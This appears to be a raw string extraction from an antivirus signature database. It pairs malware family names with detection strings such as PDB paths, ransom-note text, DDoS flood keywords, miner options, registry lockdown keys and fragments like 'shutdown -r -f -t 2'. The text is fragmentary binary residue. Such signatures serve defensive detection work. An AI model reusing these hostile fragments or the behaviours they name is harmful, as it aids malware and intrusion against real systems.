get_PACScriptLocation set_HttpsProxy SetWinInetProxy SetWinInetProxyx !#ALFPER:HSTR:BrowserModifier:Win32/Kipidow.A KpPopupDlg.exe //khit.cn/soft/ kp1configuration.ini kplnk1 SetShortCutArgs SetShortCutArgsx !#BM_AT_cry:AdvancedMassSender www.massender.com Advanced Mass Sender Nexus 6 *MassSender.exe _MassSenderMainForm _MassSenderMainFormx !#ALF:Trojan:MSIL/AgentTesla.CNK!MTB !#HSTR:HackTool:MSIL/Skiwin set_spamhistory WinSkype.exe WinSkype.MassMessageScreen.resources Private Skype Tool By Royal Private Skype Tool By Royalx !#TELPER:HSTR:Bundler:Win32/Vittalia media.vit tkDecript.pdb OFFERURL OFFERBASENAME OFFERURLOFFERBASENAME =OfferInstallCompleted& =OfferInstallCompleted&x !#HSTR:TrojanSpy:Win32/Wekrober.A !#ALF:HackTool:Win32/Gazling.A!dha Usage: %s TargetIP TargetPort Recive Data num:%d target port :%5d WSAStartup() failed:%d WSAStartup() failed:%dx !#HSTR:Skymonk \\bundler\\Production\\bundler.pdb AVOffer@@ AVScript@@ AVDataBank@@ AVCryptedZipFormat@@ AVHttpGetFile@@ AVHttpGetFile@@x !#HSTR:Trojan:MSIL/AgentTesla.OXFV!MTB < HebrewNumberParsing.CustAttr HebrewNumberParsing.CustAttrx !#HSTR:Trojan:MSIL/AgentTesla.OXGU!MTB N EntryPointx !#HSTR:Trojan:MSIL/AgentTesla.OXDC!MTB 2 Bitmapx !#HSTR:Trojan:MSIL/AgentTesla.OXDX!MTB 5 !#HSTR:Trojan:MSIL/AgentTesla.VI558!MTB / \tBlockCopy get_XXIV get_XXIVx !#HSTR:Trojan:MSIL/AgentTesla.MXR!MTB 6 dqwdqwdwqdqwqwdf dqwdqwdwqdqwqwdfx !#ALF:Trojan:MSIL/AgentTesla.JHE!MTB ) !#ALF:Trojan:MSIL/Kryptik.TO!MTB ) ParameterizedThreadStart ParameterizedThreadStartx !#TEL:Trojan:MSIL/AgentTesla.OLU!MTB 1 GetExportedTypes !#ExclusionStimilini U net core\\WaxpeerApp \\WaxpeerApp\\obj\\Release\\netcoreapp \\win-x \\WaxpeerApp.pdb waxpeer.comx !#HSTR:Exploit:MSIL/CVE-2013-0074.F HtmlObject System.Windows.Browser System.Windows.Browserx !#ALF:HSTR:PUA:Win32/AppUpCleaner AppUPCLEANER \\pz_git\\bin\\publish\\setupInst.pdb !\\pz_git\\bin\\publish\\setupInst.pdb %s\" /VERYSILENT /SP- hideWindowDesktop !#ALF:Trojan:MSIL/Formbook.SIBA!MTB !#ALF:Trojan:Win32/Ltam.BP 306DDHAGH738294728973892KKDLS7823978492GAHJGD767GUEYHx !#Lowfi:HSTR:Win32/Obfuscator.VBInject *\\AC:\\Users\\Administrator\\Desktop\\VB2\\osama.vbpx !#ALF:HSTR:MITM:RocketTab:Installer {25abbe1f-a79f-4391-9971-d1c5b44b582e} gb-installer-core gb-installer-corex !#HSTR:VirTool:MSIL/GeneralPacker.F H4sIAAAAAAAEAO29B2AcSZYlJi9tynt H4sIAAAAAAAEAO29B2AcSZYlJi9tyntx !#HSTR:Lecpetex.A2 tBjh, !#ALFPER:HSTR:ElexYacSafeDeskCommand.A click.idesk.normal. click.idesk.link. func.idesk.system. screenview.idesk.normal. screenview.idesk.normal.x !#HSTR:MSIL/PvLogiciels.dotNetProtector.A PvLogiciels.dotNetProtector.Runtime <dotNetProtector> <dotNetProtector>x !#HSTR:Virtool:MSIL/Packer.Rugland2 SmartAssembly.SmartExceptionsCore.Resources.current.png RPX 1.3.4399.43191x !#TEL:Trojan:MSIL/Bladabindi.DG!MTB !#TEL:Trojan:MSIL/Remcos.PR!MTB !#Exploit:Win32/Crosspoint.ASLR!Lowfi !#HSTR:Backdoor:Win32/Sedall.A!dha HTTP/1.0 200 <id>HTTP/1.0 200rem Connecting to the server... ArgumentsWINIDx !#HSTR:TD_Wosamereen.A !#HSTR:Trojan:Win32/Qhosts.AY :45612/stat/tuk/ HTTP/1.1 ru-RU,ru;q=0.9,en;q=0.8 :45612/stat/tuk/ GET /stat/tuk/ HTTP/1.1 GET /stat/tuk/ HTTP/1.1x !#ALF:PUA:Win32/LoadMoney!bit !#HSTR:PhanEvade.x64!Heap !#TEL:Ransom:MSIL/Shinolocker.AA!MTB Encrypt DecryptEncryptConvert set_BlockSize set_BlockSizeset_KeySizeset_PaddingFromBase64Stringx !#PUA:ML:Blocked:Itva iTVASoft installer node0.installtraffic.com http://legal.yandex.ru/ Installer for InstallTraffic.com Installer for InstallTraffic.comx !#TEL:Trojan:Win32/FileCoder.BK!MTB jjjjjj 0kNPi5DZt?lDTyB~nKSxSBSkeRuZcclMc8 VENESUELLA VENESUELLAx !#ALFPER:HSTR:Win32/InstallerTech.D /TID=installer-tech /PROFILE=installer-tech /CHANNEL=installer-tech InstTech aller !#PUA:Block:SearchAwesome FreeVPN.win Software\\FreeVPN Make your web searches awesome with Search Awesome 2Make your web searches awesome with Search Awesome searchawesome.net searchawesome.netx !#ALF:Trojan:Win64/Hathler.E!dha FakeHandle KernelShellCode NtGDIOpenDCBytes GdiPrinterThunk C:\\windows\\system32\\test.txt C:\\windows\\system32\\test.txtx !#HSTR:DridexPreloader.B fernel5.dll InECanaryyitChrome barbeta @byroughly DxCcontrols werearecame werearecamex !#HSTR:Win32/Meterpreter!ws2_32_APIs !#HSTR:XingCloudDownloader xingcloud.com WsysSvc !#HSTR:Backdoor:Flooding.Samples synflood httpflood udpflood icmpflood !#HSTR:VirTool:Win32/Injector.FQ \tpsapi.dll EnumPageFilesA Kropbox, Knc Zitoin Rroject Smith Borporation Citrus.exe Citrus.exex !#ALF:Trojan:MSIL/AgentTesla.JCO!MTB ` !#HSTR:Trojan:MSIL/AgentTesla.OXEX!MTB H ShutDown.frmclass ShutDown.frmclassx !#ALF:Trojan:MSIL/AgentTesla.EV!MTB > ToStringx !#HSTR:Trojan:MSIL/AgentTesla.OXEN!MTB 1 Reversex !#HSTR:TrojanDownloader:Win32/Small.AB !#AllowList:AutoCAD 2 \\develop\\global\\Release \\bin\\acad\\acadlock.pdb ain/develop/global/rc/Core/acadicon.rc  &ain/develop/global/rc/Core/acadicon.rc @AutoCAD@Autodesk @AutoCAD@Autodeskx !#HSTR:TrojanDownloader:Win32/Losabel.G pagefile.exe autoruns.exe shadowservice.exe shadowservice.exex !#ALF:Trojan:MSIL/Ursu.A!MTB Giantmaster Thousandinto Jobdifference GrewAsk Seeingsheet Seeingsheetx !#Lowfi:HSTR:Win32/TightRope C:\\Programming\\GitHome\\master\\Employers\\Franco\\TightRope-BundleManager\\Custom\\UacInfo\\Release\\UACInfo.pdb C:\\Programming\\GitHome\\master\\Employers\\Franco\\TightRope-BundleManager\\Custom\\UacInfo\\Release\\UACInfo.pdbx !#Lowfi:HSTR:Win32/WidgiToolbar.C coupons_event_5D824970-61D6-4eee-860A-600A48AB5955x !#SLF:HSTR:Win32/Dozlodz.A!MTB !#ALF:Backdoor:Win32/Tnega.MD!MTB !#ALF:HSTR:Trojan:Win32/AGObfuscator.C !#ALFPER:Trojan:Win32/WellMess.X!dha C:/Server/BotUI/App_Data/Temp/  /src/ C:\\Server\\BotUI\\App_Data\\Temp\\  \\src\\ !#HSTR:VirTool:Win32/Obfuscator!Diplugem.F !#SLF:Win32/VmAllocCall.A !#HSTR:BlackEnergy.KLA1 !#HSTR:PossibleDownloader.A dropbox.com noip.com aAB0AHQAcAA6AC8ALwB 4shared.com/download/ 4shared.com/download/x !#ALF:HSTR:VirTool:Win32/Injector.S06 !#ALF:Trojan:Win32/Seraph.SIB!MTB !#ALFPER:HSTR:Silcon.AZ1 !#HSTR1:Trojan:Win32/BHO.AB !#BM_AT_cry:DefenderControl Windows Defender Control sordum.org All By BlueLifex !#HSTR:AVGVulnExeFragments.A 6d830c6784a809058c0de941b1e688b6 AVG Technologies CZ, s.r.o. !#HSTR:MSIL/Obfuscator.Deepsea.D !#ALF:HSTR:Trojan:Win32/StartPage.ZZ!bit http://imp.mymapsxp.com/ \\Release\\IEUninstall.pdb SetHomepage SetHomepageToSpecifiedURL SetHomepageSetHomepageToSpecifiedURLx !#ALF:Ransom:Win64/Conti.ZC !#Adware:Win32/GamePlayLabs GamePlayLabsBHO GamePlayLabs Plugin Ivan\\Documents\\generic_exe\\Release\\BHO.pdb Ivan\\Documents\\generic_exe\\Release\\BHO.pdbx !#HSTR:ExamSoft Examsoft.Data.Common http://stwinwebservices.examsoft.com/ ExamSoft.Globals ExamSoft.Globalsx !#HSTR:HackTool:MSIL/skymadz Skype Tool\\obj\\Debug\\AstroHgamers Skype Tool.pdb MacaulyMoDz AstroHDGammers_Skype_Tool AstroHDGammers_Skype_Toolx !#ALF:HSTR:DDoS:MSIL/TKCode.A!bit \\Release\\TKCodeDDoS.pdb TKCodeDDoS.exe get_IP set_IP get_IPset_IPsIP \"http://tkcode.xyzx !#Adware:Win32/Wingo LogProc.php? mac=<MAC-ADDR>  &pCode=<P-CODE> searchurl clicklogurl winggo.co.kr winggo !#TEL:HackTool:Win32/Creddump!dha creddump.dll DumpCF LsaICryptUnprotectData L$(VV L$4VV L$@SW !#PUA:Block:CoinMiner!ETH --farm-recheck --cuda-block-size --mining-threads http://127.0.0.1:8545 Usage ethminer [OPTIONS] Usage ethminer [OPTIONS]x !#TEL:Ransom:Win32/Cryptomix.KA C:\\WINDOWS\\twein__32.dll dfhdrt8rt$#%YgsadFsde C shutdown.exe -r -t 00 C:\\i.txt %s\\123.bat %s\\123.batx !#ALF:Ransom:MSIL/FileCryptor.AC!MTB Destruction System RECOVERY INSTRUCTIONS .destroyed EncryptBytes get_TargetFiles get_TargetFilesx !#HSTR:VirTool:Win32/DelfInject.gen!AO ZwUnmapViewOfSection FindExecutableA Activespyx !#ALF:Trojan:Win32/Plotsy.A!dha VParseTheFileAndLoad@@ MemoryLoadDll ,ShowMain netutils32.dll %s%08X.dll !#HSTR:Trojan:MSIL/AgentTesla.OXGA!MTB L !#HSTR:Trojan:MSIL/AgentTesla.OXEC!MTB > IDM.IUelpmiS StrReversex StrReversexx !#ALF:Trojan:MSIL/AgentTesla.ADF!MTB G !#ALF:TrojanDownloader:Win32/Satacom.A!MTB ollydbg.exe }id=28 GetTempPathA GetTempPathAx !#ALF:Trojan:Win32/FrontShell.A!dha h|?BTV !#HSTR:Nivdort.CV1 !#TEL:TrojanDownloader:Win32/Phorpiex.D !#ALF:HSTR:Rogue:Win32/PCPurifier.S01 http://www.pcpurifier.com/buynow/? http://www.pcpurifier.com/renewal/? Software\\PC Purifier Software\\PC Purifierx !#HSTR:Kilaservos.B2 J9ygvqP8fStj8ewk NQVLvszyLBDWnow4gw== NQVJAUxjqMRAygG5yQ== FTnBcB7Imt5hZi9y etRI1g== esX6ew== esX6ew==x !#TEL:HackTool:Win32/GDad_Sclm_hstr.A!dha Software\\Microsoft\\Internet Explorerx !#TEL:Ransom:Win32/MorrisBatchCrypt.Lowfi!MTB Your files is encrypted with aes and rsa help to decrypt.html info@morris2uk.com info@morris2uk.comx !#TEL:Trojan:Win32/Depriz.F!dha shutdown -r -f -t 2 \\inf\\ type= kernel start= demand binpath= System32\\Drivers\\ type= kernel start= demand binpath= System32\\Drivers\\x !#HSTR:TrojanDownloader:Win32/Banload.ADZ cmd /k c:\\ KL1.exe cmd /k c:\\Compac !#HSTR:Trojan:Win32/Vundo.IB!dll !#ALF:Trojan:Win32/Ursnif.VN!MTB DVERI FADO, TOV admin@dverifadotov.space Bud. 115 prospekt Gagarina Dnipropetrovsk Oblast Dnipropetrovsk Oblastx !#ALF:Trojan:Win64/HookPwd.AA!MTB HookPasswordChange.dll PasswordChangeNotify InitHooking Hook-PasswordChangeNotify-master Hook-PasswordChangeNotify-masterx !#HSTR:DDoS:Win32/Nitol.B2 5.scr 5.sc_ IXP%03d.TMP TMP4351$.TMP %sadvpack.dll,DelNodeRunDLL32 Command.com !#ALF:Backdoor:Win64/Proflag.A!dha Win%d.%d.%d Not implemented! CMD Error! CMD Error!x !#ALFPER:HSTR:Nivdort.ED!Sleep !#HSTR:B !#AGGR:TrojanDownloader:O97M/Donoff.gen!A e)8!#AGGR:TrojanDownloader:O97M/Donoff.gen!A !#ALF:TrojanDownloader:O97M/Encdoc.ZPE!MTB e*7!#ALF:TrojanDownloader:O97M/Encdoc.ZPE!MTB !#TEL:AGGR:CtxSvcHstDrop:winhttpautoproxysvc e,5!#TEL:AGGR:CtxSvcHstDrop:winhttpautoproxysvc e-4!#BLKACC:d4f940ab-401b-4efc-aadc-ad5f3c50688a !#AGGR:MonitoringBehaviorAsServiceInstalled_FileRemoved e7*!#AGGR:MonitoringBehaviorAsServiceInstalled_FileRemoved !#AGG:Nivdort.CU1 Q!#AGG:Nivdort.CU1 O!#do_vmmgrow_rescan !#ALF:Aggr:PossibleVeil.A I!#ALF:Aggr:PossibleVeil.A !#AGGR:Worm:Win32/Copali.C H!#AGGR:Worm:Win32/Copali.C G!#AllowList:Aggr/Fuerboos.A !#Backdoor:PHP/Webshell.RFNg G!#Backdoor:PHP/Webshell.RFNg !#AGGR:Exploit:HTML/Tweight!dha C!#AGGR:Exploit:HTML/Tweight!dha !#TrojanDownloader:Win32/Beebone f B!#TrojanDownloader:Win32/Beebone !#ALF:AGGR:Phish:HTML/Mitargcro.S10 f#?!#ALF:AGGR:Phish:HTML/Mitargcro.S10 !#ALF:Trojan:MSIL/AgentTesla.JK!MTB f#?!#ALF:Trojan:MSIL/AgentTesla.JK!MTB !#ALF:Trojan:Win32/Predator.SSM!MTB f#?!#ALF:Trojan:Win32/Predator.SSM!MTB !#TEL:Trojan:Script/Coinminer.C!MSR f#?!#TEL:Trojan:Script/Coinminer.C!MSR !#AGGR:HSTR:MSIL/PossibleKeylogger.E f$>!#AGGR:HSTR:MSIL/PossibleKeylogger.E !#AGGR:HSTR:MSIL/PossibleKeylogger.H f$>!#AGGR:HSTR:MSIL/PossibleKeylogger.H !#ALF:AGGR:O97M/CVE-2017-11882.AT!gen f%=!#ALF:AGGR:O97M/CVE-2017-11882.AT!gen !#ALF:Exploit:Script/Cauldroner.B!dha f%=!#ALF:Exploit:Script/Cauldroner.B!dha !#do_exhaustivehstr_rescan_nivdort_ce1 f&<!#do_exhaustivehstr_rescan_nivdort_ce1 !#do_exhaustivehstr_rescan_nivdort_co1 f&<!#do_exhaustivehstr_rescan_nivdort_co1 !#ALF:Trojan:O97M/OfficeWmiRunCscript.B f';!#ALF:Trojan:O97M/OfficeWmiRunCscript.B !#ALF:Trojan:O97M/OfficeWmiRunWscript.B f';!#ALF:Trojan:O97M/OfficeWmiRunWscript.B !#ALF:Trojan:Win32/Cassini_532ea7d7!ibt f';!#ALF:Trojan:Win32/Cassini_532ea7d7!ibt !#ALF:Trojan:Win32/Cassini_c0485653!ibt f';!#ALF:Trojan:Win32/Cassini_c0485653!ibt !#ALF:TrojanSpy:Perl/Droppedpulse.A!dha f';!#ALF:TrojanSpy:Perl/Droppedpulse.A!dha !#SLF:Trojan:PowerShell/IntuneMDM.B!MTB f';!#SLF:Trojan:PowerShell/IntuneMDM.B!MTB !#ALF:Exploit:HTML/UsingIE8JScript.A!dha f(:!#ALF:Exploit:HTML/UsingIE8JScript.A!dha !#TEL:TrojanDownloader:O97M/EncDoc.SAW!MTB f*8!#TEL:TrojanDownloader:O97M/EncDoc.SAW!MTB !#AGGREGATOR:REG/DisallowedCert_Malwarebytes f,6!#AGGREGATOR:REG/DisallowedCert_Malwarebytes !#ALF:Exploit:Script/GeneralityB.Browser!dha f,6!#ALF:Exploit:Script/GeneralityB.Browser!dha !#SLF:Context/SuspExeFileDropBySystemProc.C!sysdir f20!#SLF:Context/SuspExeFileDropBySystemProc.C!sysdir !#BM_CC_WEBSHELL S!#BM_CC_WEBSHELL S!#do_deep_rescan !#AGGR:PSFileDisc R!#AGGR:PSFileDisc !#AGG:Nivdort.EMZ1 Q!#AGG:Nivdort.EMZ1 !#AGGR:ExcelMacroChk O!#AGGR:ExcelMacroChk !#ALF:AGGR:EmbeddedPS!geng J!#ALF:AGGR:EmbeddedPS!geng !#SLF:Win32/Amsipreload.A J!#SLF:Win32/Amsipreload.A !#SLF:MasqSysinternalUtil.B H!#SLF:MasqSysinternalUtil.B !#TEL:Trojan:AutoIt/Agova.A H!#TEL:Trojan:AutoIt/Agova.A !#LowfiTrojan:JS/Seedabutor.B F!#LowfiTrojan:JS/Seedabutor.B !#LowfiTrojan:JS/Seedabutor.C F!#LowfiTrojan:JS/Seedabutor.C !#TEL:Trojan:Win32/ObfDldr.C!lnk g C!#TEL:Trojan:Win32/ObfDldr.C!lnk !#TEL:Trojan:Win32/Predator.SSMT!MTB g$?!#TEL:Trojan:Win32/Predator.SSMT!MTB !#ALF:Trojan:PowerShell/Pattuko.A!MTB g%>!#ALF:Trojan:PowerShell/Pattuko.A!MTB !#ALF:Trojan:Win32/Cassini_29ec13c4!ibt g'<!#ALF:Trojan:Win32/Cassini_29ec13c4!ibt !#ALF:Trojan:Win32/Cassini_2e24da37!ibt g'<!#ALF:Trojan:Win32/Cassini_2e24da37!ibt !#ALF:Trojan:Win32/Cassini_2f77e9f3!ibt g'<!#ALF:Trojan:Win32/Cassini_2f77e9f3!ibt !#SLF:CmdSingleFileInsideArchive.B!7zip g'<!#SLF:CmdSingleFileInsideArchive.B!7zip !#SLF:JseSingleFileInsideArchive.B!7zip g'<!#SLF:JseSingleFileInsideArchive.B!7zip !#SLF:VbeSingleFileInsideArchive.B!7zip g'<!#SLF:VbeSingleFileInsideArchive.B!7zip !#SLF:VbsSingleFileInsideArchive.B!7zip g'<!#SLF:VbsSingleFileInsideArchive.B!7zip !#ALF:Backdoor:PowerShell/Powerella.A!dha g):!#ALF:Backdoor:PowerShell/Powerella.A!dha !#SLF:HackTool:PowerShell/Internalon.F!MTB g*9!#SLF:HackTool:PowerShell/Internalon.F!MTB !#TEL:TrojanDownloader:O97M/EncDoc.RTE!MTB g*9!#TEL:TrojanDownloader:O97M/EncDoc.RTE!MTB !#ALF:Trojan:Powershell/TrickySpeller.B!dha g+8!#ALF:Trojan:Powershell/TrickySpeller.B!dha !#TEL:AGGR:CtxSvcHstDrop:audioendpointbuilder g-6!#TEL:AGGR:CtxSvcHstDrop:audioendpointbuilder !#AGG:Nivdort.AG1 S!#AGG:Nivdort.AG1 !#AGGR:ExcelSiorType.A N!#AGGR:ExcelSiorType.A !#AGGR:SusPeHasIOAVUrl.A1 K!#AGGR:SusPeHasIOAVUrl.A1 !#AGGR:Tionas_Inception!dllg I!#AGGR:Tionas_Inception!dllg !#ALF:Trojan:JS/Obfuse.SM!MTB G!#ALF:Trojan:JS/Obfuse.SM!MTB !#AllowList:YaraRules.KSH!MSR G!#AllowList:YaraRules.KSH!MSR !#Trojan:Win32/SpyNoon.RR!MTB G!#Trojan:Win32/SpyNoon.RR!MTB !#ALF:Phish:PHP/PhishTnRKit.A!MTB h!C!#ALF:Phish:PHP/PhishTnRKit.A!MTB !#TEL:O97M/CVE-2017-11882.AAR!eml h!C!#TEL:O97M/CVE-2017-11882.AAR!eml !#AllowList:Program:Win32/OpenCandy h#A!#AllowList:Program:Win32/OpenCandy !#SLF:Trojan:PowerShell/Drivzo.B!MTB h$@!#SLF:Trojan:PowerShell/Drivzo.B!MTB !#AGGR:HSTR:Win32/PossibleKeylogger.A h%?!#AGGR:HSTR:Win32/PossibleKeylogger.A !#AGGR:HSTR:Win32/PossibleKeylogger.B h%?!#AGGR:HSTR:Win32/PossibleKeylogger.B !#AGGR:HSTR:Win32/PossibleKeylogger.C h%?!#AGGR:HSTR:Win32/PossibleKeylogger.C !#ALF:LowFi:Trojan:Win32/Embexe.A!gen h%?!#ALF:LowFi:Trojan:Win32/Embexe.A!gen !#ALF:TrojanDownloader:Java/Banload.H h%?!#ALF:TrojanDownloader:Java/Banload.H !#ALF:LuaSuspiciousFileNamePeExChild.D h&>!#ALF:LuaSuspiciousFileNamePeExChild.D !#SLF:CmdSingleFileInsideArchive.B!rar h&>!#SLF:CmdSingleFileInsideArchive.B!rar !#SLF:JseSingleFileInsideArchive.B!rar h&>!#SLF:JseSingleFileInsideArchive.B!rar !#SLF:JseSingleFileInsideArchive.B!zip h&>!#SLF:JseSingleFileInsideArchive.B!zip !#SLF:VbeSingleFileInsideArchive.B!rar h&>!#SLF:VbeSingleFileInsideArchive.B!rar !#SLF:VbeSingleFileInsideArchive.B!zip h&>!#SLF:VbeSingleFileInsideArchive.B!zip !#SLF:VbsSingleFileInsideArchive.B!rar h&>!#SLF:VbsSingleFileInsideArchive.B!rar !#SLF:VbsSingleFileInsideArchive.B!zip h&>!#SLF:VbsSingleFileInsideArchive.B!zip !#ALF:Trojan:Win32/Cassini_2f93808e!ibt h'=!#ALF:Trojan:Win32/Cassini_2f93808e!ibt !#ALF:Trojan:Win32/Cassini_589b8a08!ibt h'=!#ALF:Trojan:Win32/Cassini_589b8a08!ibt !#BM_SCHEDULEDTASKJOB_NETWORKSERVICEPRIV h(<!#BM_SCHEDULEDTASKJOB_NETWORKSERVICEPRIV !#ALF:TrojanDownloader:O97M/EncDoc.XA!MTB h);!#ALF:TrojanDownloader:O97M/EncDoc.XA!MTB !#ALF:TrojanDownloader:O97M/Obfuse.PRV!MTB h*:!#ALF:TrojanDownloader:O97M/Obfuse.PRV!MTB !#ALF:TrojanDownloader:O97M/ObfBook.JKC!MTB h+9!#ALF:TrojanDownloader:O97M/ObfBook.JKC!MTB !#ALF:TrojanDownloader:O97M/ObfBook.JKD!MTB h+9!#ALF:TrojanDownloader:O97M/ObfBook.JKD!MTB !#ALF:TrojanDownloader:O97M/ObfBook.JKE!MTB h+9!#ALF:TrojanDownloader:O97M/ObfBook.JKE!MTB !#ALF:TrojanDownloader:O97M/ObfBook.JKF!MTB h+9!#ALF:TrojanDownloader:O97M/ObfBook.JKF!MTB !#SLF:HackTool:PowerShell/Internaloff.A!MTB h+9!#SLF:HackTool:PowerShell/Internaloff.A!MTB !#ALF:Exploit:JS/FindMsvcrtWithJscript.A!dha h,8!#ALF:Exploit:JS/FindMsvcrtWithJscript.A!dha !#AGGREGATOR:MetasploitWinRMScriptExecPayload!shell h31!#AGGREGATOR:MetasploitWinRMScriptExecPayload!shell !#AGG:Nivdort.JUMP S!#AGG:Nivdort.JUMP !#TEL:ExxrouteNote S!#TEL:ExxrouteNote !#//EncryptedAttachment N!#//EncryptedAttachment !#SLF:LNK/SuspExeE.JT!ibt L!#SLF:LNK/SuspExeE.JT!ibt !#SLF:Win32/Winbiopreload.A J!#SLF:Win32/Winbiopreload.A !#AAGGREGATOR:vbscript_in_fasg H!#AAGGREGATOR:vbscript_in_fasg H!#Trojan:Win32/SpyNoon.RR!MTB !#ALF:Backdoor:ASP/Dirtelti.VV G!#ALF:Backdoor:ASP/Dirtelti.VV !#ALF:Trojan:O97M/DmlEmo.SD!MTB F!#ALF:Trojan:O97M/DmlEmo.SD!MTB !#ALF:AGGR:O97M/Ole10Native.A!gen i!D!#ALF:AGGR:O97M/Ole10Native.A!gen !#SCRIPT:Worm:JS/Proslikefan.gen!1 i\"C!#SCRIPT:Worm:JS/Proslikefan.gen!1 !#SCRIPT:Worm:JS/Proslikefan.gen!2 i\"C!#SCRIPT:Worm:JS/Proslikefan.gen!2 !#ALF:Exploit:Script/Sundoggle.L!dha i$A!#ALF:Exploit:Script/Sundoggle.L!dha !#ALF:Phish:PHP/PhishPageXodni.B!MTB i$A!#ALF:Phish:PHP/PhishPageXodni.B!MTB !#TEL:TrojanDownloader:O97M/Toredic2 i$A!#TEL:TrojanDownloader:O97M/Toredic2 !#ALF:Trojan:Win32/Cassini_44c148fc!ibt i'>!#ALF:Trojan:Win32/Cassini_44c148fc!ibt !#ALF:Trojan:Win32/Cassini_5e421948!ibt i'>!#ALF:Trojan:Win32/Cassini_5e421948!ibt !#ALF:Trojan:Win32/Cassini_de6066a7!ibt i'>!#ALF:Trojan:Win32/Cassini_de6066a7!ibt !#TEL:Trojan:O97M/OfficeWmiRunProcess.A i'>!#TEL:Trojan:O97M/OfficeWmiRunProcess.A !#SLF:Trojan:PowerShell/ProzyUtilz.B!MTB i(=!#SLF:Trojan:PowerShell/ProzyUtilz.B!MTB !#TEL:Exploit:O97M/PostScriptExp.gen!dha i(=!#TEL:Exploit:O97M/PostScriptExp.gen!dha J3J3J3J3 !#ALF:TrojanDownloader:O97M/DdeExec.DD!MTB i*;!#ALF:TrojanDownloader:O97M/DdeExec.DD!MTB !#ALF:TrojanDownloader:O97M/Obfuse.PVD!MTB i*;!#ALF:TrojanDownloader:O97M/Obfuse.PVD!MTB !#TEL:Trojan:MSIL/IronGateDllInstaller.A!dha i,9!#TEL:Trojan:MSIL/IronGateDllInstaller.A!dha !#TEL:AGGR:CtxSvcHstDrop:localservicenonetwork i.7!#TEL:AGGR:CtxSvcHstDrop:localservicenonetwork i32!#AGGREGATOR:MetasploitWinRMScriptExecPayload!shell !#//Html_file j Y!#//Html_file !#ALF:MamacseMacro.D R!#ALF:MamacseMacro.D !#BM_curl_as_svchost R!#BM_curl_as_svchost !#AGGR:PossibleBanload P!#AGGR:PossibleBanload N!#AGGR:ClnAmsiDllWriters !#SLF:Win32/Amsipreload.B M!#SLF:Win32/Amsipreload.B !#TEL:PowerShell/Rigoil!ps L!#TEL:PowerShell/Rigoil!ps !#ALF:PowerShell/Fulcrum.A!MTB H!#ALF:PowerShell/Fulcrum.A!MTB !#SLF:MsiFileWithJarFile.gen!A H!#SLF:MsiFileWithJarFile.gen!A !#Retired:TrojanAgentBypassGenD G!#Retired:TrojanAgentBypassGenD !#ALF:Trojan:Win32/Deyma.ARA!eml j F!#ALF:Trojan:Win32/Deyma.ARA!eml !#SCPT:JS/Obfuscator.Juxtaposed.E j!E!#SCPT:JS/Obfuscator.Juxtaposed.E !#AGGR:Win32/Banloadkercos.B!Lowfi j\"D!#AGGR:Win32/Banloadkercos.B!Lowfi !#SLF:Exploit:CVE-2021-28480.D!gen j\"D!#SLF:Exploit:CVE-2021-28480.D!gen !#ALF:Trojan:Win32/Cassini_15ec9c0e!ibt j'?!#ALF:Trojan:Win32/Cassini_15ec9c0e!ibt !#ALF:Trojan:Win32/Cassini_c8141ec6!ibt j'?!#ALF:Trojan:Win32/Cassini_c8141ec6!ibt !#ALF:Trojan:Win32/Cassini_cdc3354b!ibt j'?!#ALF:Trojan:Win32/Cassini_cdc3354b!ibt !#TrojanDownloader:Script/AHCoinMiner.H1 j(>!#TrojanDownloader:Script/AHCoinMiner.H1 !#TrojanDownloader:Script/AHCoinMiner.H2 j(>!#TrojanDownloader:Script/AHCoinMiner.H2 !#TrojanDownloader:Script/AHCoinMiner.H3 j(>!#TrojanDownloader:Script/AHCoinMiner.H3 !#TEL:TrojanDownloader:HTML/ADRecon.A!MTB j)=!#TEL:TrojanDownloader:HTML/ADRecon.A!MTB !#ALF:TrojanDownloader:O97M/EncDoc.PXB!MTB j*<!#ALF:TrojanDownloader:O97M/EncDoc.PXB!MTB !#SLF:HackTool:PowerShell/Internalon.E!MTB j*<!#SLF:HackTool:PowerShell/Internalon.E!MTB !#ALF:Exploit:JS/DecodeEvalAndSessionId.A!dha j-9!#ALF:Exploit:JS/DecodeEvalAndSessionId.A!dha !#TEL:PowerShell/CriticalFileCollection.C!ams j-9!#TEL:PowerShell/CriticalFileCollection.C!ams !#TEL:PowerShell/CriticalFileCollection.D!ams j-9!#TEL:PowerShell/CriticalFileCollection.D!ams !#ALF:Exploit:Script/GeneralityB.Embedded.Script j06!#ALF:Exploit:Script/GeneralityB.Embedded.Script !#TEL:Win32/LnkFileWithPowershellGetContentIEX.B j06!#TEL:Win32/LnkFileWithPowershellGetContentIEX.B !#AGG:UnsignedNSIS U!#AGG:UnsignedNSIS !#AGGR:badJSobfusInZip Q!#AGGR:badJSobfusInZip  &Imaginer.malheureux CarParking.CarDetails.resources CarParking.frmCarInventory.resources CarParking.Load.resources CarParking.MainSystem.resources CarParking.Resources.resources CarParking.ParkingSlots.resources CarParking.Services.resources CarParking.Sign_Up.resources CarParking.ViewOperations.resources CarParking.ViewVehicels.resources F.g.resources RALL VEHICLES ARE PARKED AT OWNERS RISK!!!x !#ALF:Trojan:Win32/Zloader.RW!MTB 7 c:\\1\\rich\\look\\80\\24\\Famous\\35\\72\\special\\22\\melody.pdb 0 c:\\stayWide\\softthey\\markethorse\\bothside\\of.pdb V d:\\74\\55\\Child\\Require\\bank\\Bear\\rather\\66\\Boy\\front\\special\\straight\\wood\\1\\guide.pdb Client hook allocation failure ITERATOR LIST CORRUPTED anonymous namespace GetSystemInfo GetCPInfo GetStartupInfoW Orphan_me BrC:\\Cryptor\\CryptorDLL\\bin\\json.hx !#ALF:HSTR:TrojanDropper:Win32/Woozlist.D!bit nidieshiwola. \\temp\\temp.chk Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoRun Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoSetFolders Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoControlPanel Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoClose Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoViewOnDrive !#TrojanSpy:Win32/Bancos.gen!K_3 b*r*a b*r@a b*r#a b*r%a b@r@a b@r*a b@r#a b@r%a b#r#a b#r*a b#r@a b#r%a b%r%a b%r*a b%r@a b%r#a !#TrojanSpy:Win32/Bancos.gen!K_a /@i@n /@i#n /@i%n /@i*n /#i@n /#i#n /#i%n /#i*n /%i@n /%i#n /%i%n /%i*n /*i@n /*i#n /*i%n /*i*n !#HSTR:Trojan:Win32/FormBook.AMP3!MTB kernel32::ReadFile(i r , i r 